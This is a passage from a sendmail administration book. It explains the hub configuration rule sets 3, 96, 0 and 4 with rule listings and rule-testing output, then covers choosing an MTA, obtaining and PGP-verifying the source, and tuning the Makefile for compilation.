In this chapter we look at some of the rules that are needed to make a hub function. Until now we have focused on the client form of the configuration file. Since the role of the client is narrow (to forward all mail to the hub), its configuration file is simple. But a hub can be a very busy machine, receiving and sending mail for many client machines, and because its role is broad, its configuration file is complex.

Fundamentally, all configuration files, simple and complex, tend to look pretty much the same. Both begin by selecting delivery agents using rule set 3 and 0. Both then process recipient or sender addresses with rule sets 3, 1 or 2, R= or S=, then 4, but the hub's rules are more complex:

  • The hub needs to recognize more than simple Internet-style addresses. It may need to handle UUCP-style addresses or reverse-style addresses such as those used in parts of the United Kingdom. It needs rules to convert all such addresses into a form that it can understand.

  • The hub needs not only to forward mail (like the client), but also to deliver it to the mail spool directory, to pipe through programs, and to form mailing lists.

  • The hub needs to handle all error conditions gracefully and to emit helpful and clear error messages.

  • The hub needs to know how to connect to many different kinds of machines worldwide.

In this chapter we explore high points of the V8 configuration files. Along the way, we also mix in rules contributed by others to help illustrate difficult concepts.

17.1 Rule Set 3

Recall that all addresses are first processed by rule set 3. Its job is to find an address among other clutter and to normalize all addresses into a form that other rules can recognize.

17.1.1 Find the Address

Recall that addresses can legally assume two forms:

address (comment)
comment <address>

In the first form, sendmail strips (and saves) the parenthesized comment, then gives the naked address to rule set 3. In the second form, sendmail passes the entire address, angle brackets and all, to rule set 3.

The rules to strip the angle brackets look like this: [1]

[1] These ingenious rules were designed by LeRoy Eide, with surrounding commentary inspired by John Halleck.

S3
R$*         $: <$1>      Guarantee at least one <> pair
R$+ <$*>       <$2>      Remove everything before the last <
R<$*> $+    $: <$1>      Remove everything after the first >
R<>         $@ <@>       Null address to @
R<$*>       $:  $1       Strip remaining <>

In the following, we discuss each of these rules individually.

17.1.1.1 At least one <> pair

To find the address in addresses of the form

comment <address>

we must use rules to search for the < and > characters. Designing rules that do this is easier if we can be sure that every address has at least one surrounding angle bracket pair:

R$*        $: <$1>      Guarantee at least one <> pair

This rule places angle brackets around all addresses, even those that already have them. Note that the $: that prefixes the RHS causes it to be executed only once.

A side benefit of this rule is that it also surrounds an empty (null) address with angle brackets. This allows old versions of sendmail to detect null addresses without needing to use the new (beginning with V8.7 sendmail) $@ LHS operator. We'll cover this in more detail soon.

17.1.1.2 Strip to left of <

A common problem is that of finding the address when it is deeply nested in many pairs of angle brackets. Consider an address like this:

<<<<address>>>>

Such addresses are not common but do appear every now and then as a result of overzealous users or MUAs. Another problem address looks like this:

comment <phone> <address>

Here, just noting the outermost pair of angle brackets is not sufficient because the rightmost pair contains the address.

The process of finding the rightmost innermost pair of angle brackets requires two rules:

R$+ <$*>       <$2>      Remove everything before the last <
R<$*> $+    $: <$1>      Remove everything after the first >

The first recursively discards everything (including angle brackets) to the left of the rightmost balanced < character. The second truncates to the correct address by discarding everything following the innermost remaining angle bracket pair.

The behavior of these two rules may not be obvious. To better understand them, first create a small configuration file (called x.cf) that includes the following two lines: [2]

[2] Note that when a configuration file lacks an S command (to declare a rule set), all rules become part of rule set 0.

R$+ <$*>       <$2>
R<$*> $+    $: <$1>

Then run sendmail in rule-testing mode with a command like this:

% /usr/lib/sendmail -Cx.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>

Enter a series of addresses, one at a time, to see how each is handled. Be as extreme as you want when nesting angle brackets:

> 0 <<<<<a>>>>>
rewrite: ruleset  0   input: < < < < < a > > > > >
rewrite: ruleset  0 returns: < a >
> 0 <a> <b>
rewrite: ruleset  0   input: < a > < b >
rewrite: ruleset  0 returns: < b >
> 0 <<a> <b>>

rewrite: ruleset  0   input: < < a > < b > >
rewrite: ruleset  0 returns: < b >
>

If you want to see, step by step, how each rule works, run sendmail again, this time with the -d21.12 debugging switch (see Section 37.5.72, -d21.12). With that switch, the first example above will print like this:

> 0 <<<<<a>>>>>
rewrite: ruleset  0   input: < < < < < a > > > > >
---trying rule: $+ < $* >
---rule matches: < $2 >
rewritten as: < < < < a > > > > >
---trying rule: $+ < $* >
---rule matches: < $2 >
rewritten as: < < < a > > > > >
---trying rule: $+ < $* >
---rule matches: < $2 >
rewritten as: < < a > > > > >
---trying rule: $+ < $* >
---rule matches: < $2 >
rewritten as: < a > > > > >
---trying rule: $+ < $* >
--- rule fails
---trying rule: < $* > $+
---rule matches: $: < $1 >
rewritten as: < a >
rewrite: ruleset  0 returns: < a >

17.1.1.3 Handle null address

The fourth rule in rule set 3 is designed to convert a null - pty) address into the magic symbol @:

R<>        $@ <@>       Null address to @

The @ symbol is surrounded by angle brackets ("focused"). It needs to be focused because later rules expect all addresses to have the host part in this form. Still later, the angle brackets will be removed, and the @ will be discarded by rule set 4.

The $@ prefix to the RHS causes all further rules in rule set 3 to be skipped. The focused address <@> is returned. If <@> were to be handled by the next rule, its angle brackets would be stripped, and this is not what we desire.

17.1.1.4 Remove remaining angle brackets

The last of our five preliminary rules simply removes the angle brackets from whatever remains:

R<$*>      $:  $1       Strip remaining <>

17.1.2 Normalize the Address

The rules that we have just looked at isolate the address from other possible information and leave it in its initial form, not surrounded by angle brackets. The rest of the rules in rule set 3 are designed to highlight the host part of any address. They assume that all addresses are composed of a user and a host part.

17.1.2.1 A rule to handle List:;

RFC822 allows addresses of the form

name : address(s) ;

Here, name is the name of a mailing list that can contain multiple words and spaces, for example,

Undisclosed Recipients :;

The colon and semicolon are mandatory and may contain one or more addresses between them, which may themselves be lists. [3] Rule set 3 needs to check for the presence of an empty list (one with no addresses between the colon and semicolon). The following rule does just that and turns the empty list into the magic token <@>:

[3] Which tends to complicate the algorithm.

R$* :;      $@ $1 :; <@>       Handle empty List:;

17.1.3 Internet Addresses

After lists have been disposed of, domain-type addresses need to be handled. Domain type addresses are of the form user@host:

R$+ @ $+                $: $1 <@$2>                 Focus on host
R$+ < $+ @ $+ >            $1 $2 <@$3>              move gaze right
R$* < @ $* : $* > $*       $1 <@ $2$3> $4           strip colons
R$+ < @ $+ >            $@ $>96 $1<@$2>             localize and canonicalize

The first rule detects addresses of the form something@something and rewrites them in such a way that the second something becomes the focused host part.

The second rule handles addresses with multiple @ symbols (such as a@b@c). It recursively moves the focus to the rightmost host.

The third rule recursively removes any colons from the resulting host part as a "sanity check." This is necessary because strange forms of route addresses may have bypassed earlier rules (see the DontPruneRoutes option in Section 34.8.20, DontPruneRoutes (R), how route addresses are handled in rules in Section 29.4.3, "Handling Routing Addresses", and the F=d delivery agent flag in Section 30.8.16, F=d), or a colon may be left over from the mailertable feature (see Section 19.6.14, FEATURE(mailertable)).

The fourth rule passes any addresses that have been successfully focused to rule set 96 (which will be discussed in Section 17.2, "Rule Set 96") so that the local host can be detected and the host part canonicalized. The result from rule set 96 is returned.

17.1.4 UUCP Addresses

UUCP addresses contain one or more exclamation points (such as lady!sonya!george). They fall into two categories: those that are delivered locally by uux(8) and those that are forwarded to another host. The rules to handle them look like this:

R$- ! $+          $@ $>96 $2 <@ $1.UUCP>      host!user uucp
R$+ . $- ! $+     $@ $>96 $3 <@ $1.$2>        Domain style uucp
R$+ ! $+          $@ $>96 $2 <@ $1.UUCP>      Bang path uucp

The first rule looks for a single token hostname followed by an exclamation point. A single token host always becomes the next host in line for delivery. The .UUCP suffix added in the RHS allows rule set 0 to recognize this address as one requiring uux(8) delivery.

The second rule looks for a dot in the hostname part of the address. A dot indicates the new-style, domain-based hostname, such as host.domain!user. Such names are assumed to have MX records pointing to service providers and are rewritten into the normal user@host.domain form.

The third rule catches any remaining addresses with exclamation points in them. The host to the left of the leftmost exclamation point is taken as the next hop in the UUCP path for delivery. A .UUCP suffix is added to that host, just as in the first rule.

All three rules exit (the leading $@ in the RHS) after the address is normalized by rule set 96 (which leaves .UUCP suffixed addresses unchanged). They are then handed as is to rule set 0, which selects a delivery agent (usually uux(8)).

17.1.5 The % Hack

A common technique in mail debugging is to send mail to one host and have that host deliver it to another. Often, this is done by sending the mail something like:

% mail user%second@first

Here, the intention is send mail to first and from there to usr@second. This type of addressing is nonstandard. Essentially, it is route addressing with % characters substituted for @ characters. Enabling this behavior requires three rules:

R$*%$*             $1 @ $2                  Convert all % to @
R$*@$*@$*          $1 % $2 @ $3             Undo all but last @
R$*@$*          $@ $>96 $1 <@$2>            Focus on rightmost

Here, the first rule changes all the percent characters into @ characters. The intention is to focus on the rightmost host, whether it is prefixed with an % or an @. The second rule changes all but the rightmost @ back into percent characters even if they were originally @ characters. The last rule takes the result and focuses on the rightmost host, just as was done in the domain form of addressing above.

Previous: 16.6 Things to Try | sendmail | Next: 17.2 Rule Set 96
16.6 Things to Try | Book Index | 17.2 Rule Set 96


[Chapter 17] 17.2 Rule Set 96

sendmailSearch this book
Previous: 17.1 Rule Set 3 Chapter 17
The Hub's Complex Rules 		Next: 17.3 Rule Set 0

17.2 Rule Set 96

After each address has its host part focused by rule set 3, it is passed to rule set 96 (by a subroutine call with the $> operator). Rule set 96 verifies that each address is good. It is not used by all configuration files but is used by the configuration files that are distributed with V8 sendmail.

17.2.1 Is the Host Local?

First, rule set 96 determines whether the focused host part is really the name of the local machine. This determination is less straightforward than you might think. The special hostname localhost, by which all hosts are known, is checked first:

R$* < @localhost      >$*       $: $1 <@$j.> $2      Sans domain
R$* < @localhost.$m   >$*       $: $1 <@$j.> $2      With domain
R$* < @localhost.UUCP >$*       $: $1 <@$j.> $2      With UUCP domain

The name localhost is checked in three forms (thus three rules): first as a bare hostname (without a domain part), then with the local domain attached (as stored in $m), and finally with the pseudo-name UUCP attached (on the off chance that mail was sent to the local host via UUCP). Later, the class $=w, which lists all the names of the local host, will be checked. Here, localhost is checked because there is no guarantee that it will be included in $=w.

The next three rules handle a host that is in numeric IP form. Such a hostname is formed by surrounding four dot-separated integers with square brackets (like [123.45.67.8]).

R$* < @ [$+] > $*            $: $1 <@@ [$2]>$3      is it numeric IP?
R$* < @@ $=w > $*            $: $1 <@  $j.> $2      yes. Is it us?
R$* < @@ $+  > $*            $@ $1 <@  $2> $3       yes, but not us.

The first of these rules finds anything surrounded by square brackets (it does not care whether that anything is an IP address). If found, it prefixes the host part with an extra @ so that only the next two rules will see it. The second rule compares the IP address to the list of hostnames in $=w. [4] If the IP address is found in $=w, the host is changed to the value in $j (the local, full canonical hostname). If the IP address is not that of the local host, the third rule causes it to be immediately returned as a valid (but not local) IP address.

[4] Under V8 sendmail the local host's IP address is automatically added to class w. Beginning with V8.7 sendmail, the addresses associated with all network interfaces are also added to the class w.

The next two rules in rule set 96 determine whether the hostname is one of those declared as local in class $=w:

R$* < @ $=w    > $*         $: $1 <@ $j.> $3     us?
R$* < @ $=w.$m > $*         $: $1 <@ $j.> $3     us with domain?

The first just examines the list of hosts in the class $=w and, if found, converts the workspace to the full canonical name of the local host ($j.). The second performs the same search and substitution but appends the local domain ($m) to each host in $=w. Neither rewrite is returned (no $@ prefix to the RHS) but is instead carried down to subsequent rules.

At this point, UUCP hosts should be returned as is because the rest of the rules in rule set 96 deal with DNS and canonicalization. The next rule handles this:

R$* < @ $+.UUCP > $*        $@ $1 <@$2.UUCP> $3  pass back uucp

This rule looks for any host ($+) with a .UUCP suffix and returns (the $@ prefix to the RHS) that address unchanged. Review Section 17.1.4, "UUCP Addresses" to see how the .UUCP suffix came to be attached in the first place.

Any address that has made it this far is next looked up with DNS:

R$* < @ $* $~P > $*         $: $1 <@ $[ $2$3 $]> $4      canonicalize

Here, the notation $~P denotes anything that is not in the class P. That class was declared elsewhere. It contains a list of pseudo-domains (domains that cannot be looked up with DNS, such as UUCP and BITNET). If the last component of the hostname is other than one of the pseudo-domains, the RHS causes that hostname to be looked up with DNS and replaced with the full canonical name for that host. If the hostname corresponds to a CNAME, it will be replaced with the name of the corresponding A or MX record. If the address is an IP address (such as [123.45.67.80]), a PTR record will be looked up to find the canonical name. If the lookup fails, the name is unchanged. If the lookup succeeds, the canonical name will replace the looked up name and a dot will be appended. [5] On some machines this lookup may use /etc/hosts, nis, nisplus, or some other means defined by your service switch file. In the configuration file that we have been examining, a successful DNS lookup causes a dot to be appended to the resulting hostname. This the same as what has been done all along by adding a dot to $j.

[5] This process is described in more detail in Section 33.4.3, "$[ and $]: A Special Case", which also explains how to change the dot to a different character or characters.

The last few rules merely perform some housekeeping by adding a dot to any valid addresses that lack one:

R$* < @ $* $=P > $*         $: $1 <@ $2$3 .> $4        canonicalize pseudos
R$* < @ $*..   > $*            $1 <@ $2.> $3           strip extra dots
R$* < @ $j     > $*            $1 <@ $2.> $3           canonicalize local

In the first rule, pseudo-domains are considered canonical because there is no way to check their validity. The second rule strips any extra trailing dots in case they may have been added by accident. [6] Finally, a hostname of $j is checked, and if it is found, a dot is added, thus finishing rule set 96's job.

[6] Sometimes $=P contains just a dot. In this case, any address that ends with a dot will have that ending dot doubled.

Previous: 17.1 Rule Set 3 | sendmail | Next: 17.3 Rule Set 0
17.1 Rule Set 3 | Book Index | 17.3 Rule Set 0


[Chapter 17] 17.3 Rule Set 0

sendmailSearch this book
Previous: 17.2 Rule Set 96 Chapter 17
The Hub's Complex Rules 		Next: 17.4 Rule Set 4

17.3 Rule Set 0

Rule set 0 checks for errors and selects delivery agents. First it disposes of the null address:

R<@>                    $#local $: <@>

Recall from Section 17.1.1.3, "Handle null address" that the null address needs to be disposed of locally.

Next a whole series of error conditions need to be detected before they can lead to harm:

R$* : $* ; <@>    $#error $@ 5.1.3 $: "list:; syntax illegal for recipient addresses"
R<@ $+>           $#error $@ 5.1.1 $: "user address required"
R$* <$* : $* > $*  $#error $@ 5.1.1 $: "colon illegal in host name part"
R$* < @ . > $*    $#error $@ 5.1.2 $: "invalid host name"

First, addresses are checked to see whether they are of the List:; form (see Section 17.1.2.1, "A rule to handle List:;") and, if so, are considered errors. Then the focused address is screened for missing user parts, colons in the host name, and unresolvable hostnames. Any such addresses are rejected as errors.

The rest of rule set 0 selects delivery agents. It can be simple or complex depending on your specific needs. In its simplest form, it detects local addresses and network mail:

R$+ < @ $=w . >       $#local $: $1                           regular local name
R$* < @ $*    > $*    $#smtp $@ $2 $: $1 < @ $2 > $3          user@host.domain

Rule set 0 can also do mailertable lookups (see Section 19.6.14) and forward to a hub:

R< $+ > $*              $: < $(mailertable $1 $) > $2   lookup
R$* < @ $* > $*         $: $>95 < $S > $1 < @ $2 > $3   glue on smarthost name

Note that these rules would not be grouped right next to each other. We presented them like this just to give you the flavor of a rule set 0, without the details. Leap ahead to Section 29.6, "Rule Set 0" if you hunger for more.

Previous: 17.2 Rule Set 96 | sendmail | Next: 17.4 Rule Set 4
17.2 Rule Set 96 | Book Index | 17.4 Rule Set 4


[Chapter 17] 17.4 Rule Set 4

sendmailSearch this book
Previous: 17.3 Rule Set 0 Chapter 17
The Hub's Complex Rules 		Next: 17.5 Things to Try

17.4 Rule Set 4

Rule set 4 cleans up after all the other rule sets. In general it attempts to undo anything done by rule sets 3 and 96. Recall that rule set 96 looked up the canonical name and appended a dot to any that it found. Any bogus trailing dots need to be stripped away, and that is what rule set 4 does:

# strip trailing dot off possibly canonical name
R$* < @ $+ . > $*       $1 < @ $2 > $3

Recall that UUCP addresses were converted from their host!user form into a .UUCP pseudo domain. Rule set 4 returns them to their original form:

# UUCP must always be presented in old form
R$+ @ $- . UUCP         $2!$1                           u@h.UUCP => h!u

Recall also that rule set 3 focused on the host part of the address. Rule set 4 will defocus:

R$* < $+ > $*           $1 $2 $3                        defocus

Depending on how ambitious the other rules are, rule set 4's job can be easy or hard. In general, processing any address with the sequence 3 then 4 should leave all but extraordinary addresses (such as the null address) unchanged:

% /usr/lib/sendmail -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> 3,4 user@host
rewrite: ruleset  3   input: user @ host
rewrite: ruleset 96   input: user < @ host >
rewrite: ruleset 96 returns: user < @ host >
rewrite: ruleset  3 returns: user < @ host >
rewrite: ruleset  4   input: user < @ host >
rewrite: ruleset  4 returns: user @ host
> 3,4 user@host.domain
rewrite: ruleset  3   input: user @ host . domain
rewrite: ruleset 96   input: user < @ host . domain >
rewrite: ruleset 96 returns: user < @ host . domain >
rewrite: ruleset  3 returns: user < @ host . domain >
rewrite: ruleset  4   input: user < @ host . domain >
rewrite: ruleset  4 returns: user @ host . domain
> 3,4 host!user
rewrite: ruleset  3   input: host ! user
rewrite: ruleset 96   input: user < @ host . UUCP >
rewrite: ruleset 96 returns: user < @ host . UUCP . >
rewrite: ruleset  3 returns: user < @ host . UUCP . >
rewrite: ruleset  4   input: user < @ host . UUCP . >
rewrite: ruleset  4 returns: host ! user

Previous: 17.3 Rule Set 0 | sendmail | Next: 17.5 Things to Try
17.3 Rule Set 0 | Book Index | 17.5 Things to Try


[Chapter 17] 17.5 Things to Try

sendmailSearch this book
Previous: 17.4 Rule Set 4 Chapter 17
The Hub's Complex Rules 		Next: II. Build and Install

17.5 Things to Try

  • Where in this rule set 3 is the best place to check for DECnet addresses, that is, the best place to detect an address of the form host::user and convert it to the form user@host.DECNET?

  • Most modern UUCP implementations allow domain style addressing. How can you determine whether your site needs to convert domain UUCP addresses back into the old host!user form?

  • Think up the most bizarre but legitimate address that you can and give it to sendmail in rule-testing mode. Is it parsed as you expected? If not, why not?

Previous: 17.4 Rule Set 4 | sendmail | Next: II. Build and Install
17.4 Rule Set 4 | Book Index | II. Build and Install


[Chapter 18] Compile and Install sendmail

sendmailSearch this book
Previous: II. Build and Install Chapter 18 Next: 18.2 Vendor Versus Compiling

18. Compile and Install sendmail

Contents:
To Use or Not to Use
Vendor Versus Compiling
Obtain the Source
Tuning Makefile
Run Make
Install sendmail
Pitfalls
Alphabetized Reference

In this chapter we show you how to obtain the latest version of sendmail in source form, then how to tune, build, and install it yourself. Although this process can be simple, many decisions that can complicate it must be made ahead of time (including the decision of whether or not to use sendmail in the first place).

18.1 To Use or Not to Use

The sendmail program is not the only MTA on the block. Others have existed for some time, and new MTAs appear on the scene every once in a while. We describe a few of the major MTAs and contrast them to sendmail in the following list: [1]

[1] A new arrival on the MTA scene is qmail. It is so new that we did not have time to review it for this edition.

Smail3.x

Sites may wish to consider Smail3.x if they are currently running a complex UUCP connection topology and wish to remain well connected to UUCP while simultaneously accessing the Internet with SMTP.

One difference between Smail3.x and sendmail lies in their differing philosophies for parsing addresses. The Smail3.x authors feel that Internet and UUCP addresses are sufficiently standardized that all parsing can be handled by code rather than by configuration rules. If you suspect that Smail3.x may be better for your particular needs, you can get source and documentation from uunet. Look for a file named something like smail-3.*.tar.Z.

Zmailer

More modular than sendmail, zmailer was written by Rayan Zachariassen at a time when sendmail appeared to have been abandoned. Zmailer is modularized by role, with well-defined roles. All decisions are made in configuration files; none are made in code. It tends to be slower than sendmail, but some claim that it is easier to understand. For additional information, contact:

ftp://ftp.cs.toronto.edu/pub/zmailer

post-office

A commercial offering (new and not widely ported). For those who absolutely need commercial support, this may be the answer. It features configuration via email and http forms. Similar to Zmailer, it is modular, each module playing a well defined role. For additional information, contact:

http://www.software.com

Many other MTAs exist, some good and some not so good. We mention only three here because, after all, this is a book about sendmail.

Previous: II. Build and Install | sendmail | Next: 18.2 Vendor Versus Compiling
II. Build and Install | Book Index | 18.2 Vendor Versus Compiling


[Chapter 18] 18.2 Vendor Versus Compiling

sendmailSearch this book
Previous: 18.1 To Use or Not to Use Chapter 18
Compile and Install sendmail 		Next: 18.3 Obtain the Source

18.2 Vendor Versus Compiling

Old versions of operating systems tended to be shipped with old versions of sendmail. Old versions should be replaced because they are insecure.

Current versions of operating systems tend to ship with V8.7 sendmail. To find out which version you are running, issue the following command:

% /usr/lib/sendmail -d0.1 -bt < /dev/null

The first line (of possibly many) printed should contain the version number. If no version is displayed, you may be running a very old version of sendmail indeed, or some other program masquerading as sendmail. In either instance, you should upgrade. If version 8.6.13 or earlier is displayed, you should also plan to upgrade. If version 8.7.5 or earlier is displayed, you should also plan to upgrade. Version 8.7.6 was the last (as of this writing) secure version of the 8.7 series.

A more difficult decision is whether or not to upgrade if you are already running 8.8 sendmail. Potential reasons for upgrading are the following:

Security

The sendmail program has always been a prime target of attack by crackers (probably because it is distributed as source code). One reason to always run the latest version of sendmail is because earlier versions may have been compromised. Even if your current version is secure, a C library may not be. If you have been notified of a security hole in your library, you should consider recompiling sendmail, using a new, secure library.

Bug fixes

After widespread use and abuse, any program will begin to show its bugs. The sendmail program, although superbly written, is no exception. One reason new versions are periodically released is to fix reported bugs. At the very least, download the latest source and look at the release notes to see whether a bug may be biting you.

Uniformity

At a heterogeneous site (as most sites are these days) it is often more convenient to run a common version of sendmail and clone configuration files. Only by compiling and installing from the source can you achieve a controllable level of uniformity.

Tuning

A precompiled version of sendmail may lack certain features that you find desirable, or it may have features that you would prefer to exclude. Table 18.3 (in Section 18.8, "Alphabetized Reference") lists the debugging switches that you can use to determine what kind of features your sendmail has available. If debugging switches are unavailable, the individual sections at the end of this chapter discuss other methods to determine feature support or the lack of it.

But beware: Before rushing out and replacing your vendor's version of sendmail, find out whether it uses any special vendor-specific features. If so, and if those features are more valuable to you than the security and uniformity that we mentioned, convince your vendor to upgrade for you.

Previous: 18.1 To Use or Not to Use | sendmail | Next: 18.3 Obtain the Source
18.1 To Use or Not to Use | Book Index | 18.3 Obtain the Source


[Chapter 18] 18.3 Obtain the Source

sendmailSearch this book
Previous: 18.2 Vendor Versus Compiling Chapter 18
Compile and Install sendmail 		Next: 18.4 Tuning Makefile

18.3 Obtain the Source

V8 sendmail is available from:

ftp://ftp.sendmail.org/ucb/sendmail

When you cd into this directory, a banner is displayed that describes the latest release and available patches. You may choose between two forms of compressed tar(1) distributions. Those that end in .Z are compressed with UNIX compress(1); those that end in .gz are compressed with GNU gzip(1). The latter is the preferred form because the file is smaller and quicker to transfer.

In addition to the two forms of distribution, each release has associated with it a PGP signature file. It is a signature of the uncompressed file, so you need to uncompress the tar(1) file before verifying it. To verify a pre-V8.6 distribution, get Eric Allman's public key by sending email to pgp-public-keys@keys.pgp.net with the following subject line:

Subject: MGET Allman

Eric Allman's public key will be mailed back to you a few minutes later. [2] Save that returned email to a file, for example /tmp/eric.asc, and add that key to your public "keyring" with the command:

[2] As an alternative, you can run the command

finger -l eric@finger.sendmail.org > /tmp/eric.asc

and use that PGP information in place of the email information. They are equivalent.

pgp -ka /tmp/eric.asc

For V8.6 and above, you download a special signing key from www.sendmail.org, instead of Eric's key. The fingerprint for the signing key is:

CA AE F2 94 3B 1D 41 3C  94 7B 72 5F AE 0B 6A 11

The fingerprint for Eric's key is:

C0 28 E6 7B 13 5B 29 02 6F 7E 43 3A 48 4F 45 29

then execute:

pgp signature file here

If the uncompressed tar file is good, pgp(1) will report the following or some variation on it:

Good signature from user "Eric P. Allman <eric@CS.Berkeley.EDU>".

A few things can go wrong here, causing the verification to fail:

  • Signature and tar(1) files must match each other's versions. Transfer them again, this time with matching versions.

  • When transferring the files with ftp(1), you must be sure to use binary mode. Transfer them again, this time with the correct mode.

  • A presumed mirror FTP site might not be as official as you expect. If a secondary distribution fails to verify, get the official distributions from the official site shown above.

  • The official distribution may appear bad. If it fails to verify, first check that your copy of pgp was correctly installed, then check that your network connection is clean and that it has not been compromised. If all else fails (including getting the distribution anew as above), describe your problem to the folks at sendmail@sendmail.org.

If your copy of the sendmail distribution fails to verify, don't use it!

18.3.1 What's Where in the Source

V8.8.6 sendmail unpacks by creating a directory, then unpacking into that directory. The directory name is the same as the compressed file name but with the first dot a dash instead:

% zcat sendmail.8.8.6.tar.Z | tar xvf -
x sendmail-8.8.6/FAQ, 32312 bytes, 64 tape blocks
x sendmail-8.8.6/KNOWNBUGS, 4714 bytes, 10 tape blocks
x sendmail-8.8.6/Makefile, 1215 bytes, 3 tape blocks
... and so on

Inside the newly created directory you will find the full sendmail distribution:

% cd sendmail-8.8.6
% ls
FAQ             RELEASE_NOTES   mail.local      rmail
KNOWNBUGS       cf              mailstats       smrsh
Makefile        contrib         makemap         src
READ_ME         doc             praliases       test

The READ_ME and RELEASE_NOTES files provide the most up-to-date information about changes, new features, and bug fixes. Read the documents in the doc directory. Also note that there are important comments in the src/READ_ME and cf/README files.

You will find almost everything you need to build sendmail in the src subdirectory. There are a few exceptions that we will cover in this chapter.

18.3.2 The makesendmail Script

The first step in compiling sendmail is to establish an object directory and a Makefile that is appropriate to your machine architecture and operating system. You do this by running the makesendmail script in the src directory:

% cd src
% ./makesendmail -n
Configuration: os=SunOS, rel=4.1.4, rbase=4, arch=sun4, sfx=
Creating obj.SunOS.4.1.4.sun4 using Makefile.SunOS
Making dependencies in obj.SunOS.4.1.4.sun4
  <-  many more lines here
%

Here, makesendmail found that ours was a sun4 machine, running the SunOS 4.1.4 release of UNIX. It created the working directory obj.SunOS.4.1.4.sun4, set up symbolic links to all the source files in that directory, and copied a Makefile there. The -n switch [3] prevents make from actually building sendmail. Note that, except for the -m switch, all command-line arguments following the makesendmail are passed to make(1) as its own command-line arguments.

[3] As an alternative, the -m command-line switch causes makesendmail to print the name of your Makefile without actually creating the obj.* subdirectory.

The makesendmail script knows how to build sendmail on many versions of UNIX, including offshoots such as OSF/1 and NextStep. In the unlikely case that your operating system is not supported, you will see an error message instead of the above output:

Configuration: os=EX/Unix, rel=1, rbase=1, arch=sun4, sfx=
Cannot determine how to support sun4.EX/Unix.1

Here, an experimental version of UNIX called EX/Unix on a sun4 computer was unrecognized by the makesendmail script. Porting sendmail to new operating systems is really beyond the scope of this book. But we offer a complete listing of #define macros in Section 18.8 at the end of this chapter, and that, as well as much of the tuning that we discuss here, can also be germane to porting.

18.3.3 What to Tune

Before you let makesendmail run to completion, you may need to tune three of sendmail's files for your site:

Makefile/*

Specifies where to install the binaries and how to compile them. Makefile is normally the only file you will have to modify if you are running an already supported operating system

conf.h

Specifies maximum sizes and other properties that are tunable for porting:

conf.c

Specifies C language code to support specific and unusual needs. Tunable items in conf.c include the checkcompat() routine (see Chapter 20, The checkcompat() Cookbook) and default header behavior (see Section 35.5, "Header Behavior in conf.c").

Previous: 18.2 Vendor Versus Compiling | sendmail | Next: 18.4 Tuning Makefile
18.2 Vendor Versus Compiling | Book Index | 18.4 Tuning Makefile


[Chapter 18] 18.4 Tuning Makefile

sendmailSearch this book
Previous: 18.3 Obtain the Source Chapter 18
Compile and Install sendmail 		Next: 18.5 Run Make

18.4 Tuning Makefile

The make(1) program is used to compile and install sendmail. The makesendmail script not only created an obj.* working directory, it also copied an appropriate Makefile into that directory. [4] Before changing anything in Makefile, you should cd into your object directory and change the permissions of Makefile so that it is writable by you:

[4] Actually, it created a symbolic link called Makefile that points to the appropriate file in the ../Makefiles directory.

% cd obj.*
% mv Makefile Makefile.orig
% cp Makefile.orig Makefile
% chmod 644 Makefile

Makefile is tuned by defining or redefining directives (shown in Table 18.1 that begin lines in that file.

Table 18.1: Makefile Directives That You May Customize
Directive |  | Description
DBMDEF= | Section 18.4.1, "DBMDEF=" | Which database libraries to use
ENVDEF= | Section 18.4.2, "ENVDEF=" | Compiler -D switches, such as -D_AIX3
INCDIRS= | Section 18.4.3, "INCDIRS=" | Compiler -I switches, such as -I../db/include
LDOPTS= | Section 18.4.4, "LDOPTS=" | Linker options, such as -Bstatic for SunOS
LIBDIRS= | Section 18.4.5, "LIBDIRS=" | Linker -L switches, such as -L/usr/local/lib
LIBS= | Section 18.4.6, "LIBS=" | Linker -l libraries, such as -ldbm
BINDIR= | Section 18.4.7, "BINDIR=" | Where to install sendmail
STDIR= | Section 18.4.8, "STDIR=" | Where the sendmail.st file goes
HFDIR= | Section 18.4.9, "HFDIR=" | Where the sendmail.hf file goes
OBJADD= | Section 18.4.10, "OBJADD=" | Object files that need to be linked in

We will discuss each of these macros shortly but first note that, in general, you should never have to modify anything after the "end" line (shown in the following example). The only exception might be special requirements created by porting sendmail to a new platform.

###################  end of user configuration flags  ######################

Finally, before changing anything inside Makefile, be sure to read src/READ_ME. It always contains the latest information about building sendmail. In this book we are forced to speak in generalities, whereas the src/READ_ME file discusses operating systems, compilers, and hardware in specific detail.

18.4.1 DBMDEF=

The DBMDEF= directive defines the database library support you want. The currently available choices are listed in Table 18.2. Details are given in the indicated section.

Table 18.2: Define for Database Support
Define |  | Aliases[5] | Description
AUTO_NIS_ALIASES | Section 18.8.1, AUTO-NIS-ALIASES | Yes | Add fallback alias techniques
HESIOD | Section 18.8.10, HESIOD | Yes | Support hesiod database maps
LDAPMAP | Section 18.8.15, LDAPMAP | No | Enable use of ldap databases
NDBM | Section 18.8.24, NDBM | Yes | Support UNIX ndbm(3) Databases[6]
NETINFO | Section 18.8.27, NETINFO | Yes | Support NeXT netinfo(3) databases
NEWDB | Section 18.8.28, NEWDB | Yes | Support db(3), both hash and btree forms
NIS | Section 18.8.29, NIS | Yes | Support nis maps
NISPLUS | Section 18.8.30, NISPLUS | Yes | Support nisplus maps
OLD_NEWDB | Section 18.8.33, OLD-NEWDB | n/a | Support the old form of db(3)
UDB_DEFAULT_SPEC | Section 18.8.53, UDB-DEFAULT-SPEC | n/a | Default User Database location
USERDB | Section 18.8.54, USERDB | n/a | Support the User Database

[5] Note that the old dbm(3) form of database is no longer supported.

[6] If yes, this database format supports aliasing.

Either NDBM or NEWDB must be defined, or sendmail will read the aliases into its symbol table every time it starts. This will make sendmail crawl and is not recommended.

External databases can be extremely valuable, especially in providing easy solutions for complex problems. Therefore we recommend that you include a definition for all databases that your system supports, even if you don't immediately foresee a need for them.

Below, we illustrate the selection of two forms of database:

DBMDEF= -DNEWDB -DNDBM

When these two forms are selected, old databases are read by using NDBM, but new databases are created by using NEWDB. Read src/READ_ME for details about, and exceptions to, this transition process.

18.4.2 ENVDEF=

The ENVDEF= directive is used primarily to specify code that should either be specially included or excluded. The following example shows support for identd(8) being excluded from the compiled binary:

ENVDEF= -DIDENTPROTO=0

